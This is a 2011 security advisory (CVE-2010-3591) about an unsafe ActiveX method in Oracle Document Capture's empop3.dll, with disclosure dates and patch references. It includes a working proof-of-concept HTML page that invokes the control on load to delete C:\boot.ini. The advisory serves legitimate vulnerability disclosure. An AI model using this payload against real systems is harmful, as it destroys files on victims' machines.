Source: http://packetstormsecurity.org/files/view/97868/DSECRG-11-005.txt

ActiveX components contain insecure methods.

Digital Security Research Group [DSecRG] Advisory DSECRG-11-005 (internal #DSECRG-00154)


Application:            Oracle Document Capture
Versions Affected:      Release 10gR3
Vendor URL:             www.oracle.com
Bugs:                   insecure method, File overwriting, File deleting
Exploits:               YES
Reported:               22.03.2010
Vendor response:        31.03.2010
Date of Public Advisory:24.01.2011
CVE-number:             CVE-2010-3591
Author:                 Evdokimov Dmitriy from Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)



Description
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Oracle Document Capture contains ActiveX components that contains insecure methods in empop3.dll


Details
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Oracle Document Capture contains ActiveX component EMPOP3Lib (empop3.dll) Lib GUID: {F647CBE5-3C01-402A-B3F0-502A77054A24}

which is contains insecure method "DownloadSingleMessageToFile" that can delete any file in system.

Class EasyMailPop3
GUID: {F647CBE5-3C01-402A-B3F0-502A77054A24}
Number of Interfaces: 1
Default Interface: IPOP3Main
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False



Details
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Attacker can construct html page which call vulnerable function "DownloadSingleMessageToFile" from ActiveX component empop3.dll

Example:

<HTML>
         <HEAD>
         <TITLE>DSecRG</TITLE>
         </HEAD>
         <BODY>

         <OBJECT id='eds' classid='clsid:F647CBE5-3C01-402A-B3F0-502A77054A24'></OBJECT>

         <SCRIPT>

         function Exploit(){
                 eds.DownloadSingleMessageToFile(1,"C:\\boot.ini",1);
         }
         Exploit();

         </SCRIPT>
</BODY>
</HTML>


References
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http://dsecrg.com/pages/vul/show.php?id=305
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html




Fix Information
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Information was published in CPU Jan 2011.
All customers can download CPU patches following instructions from:

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html


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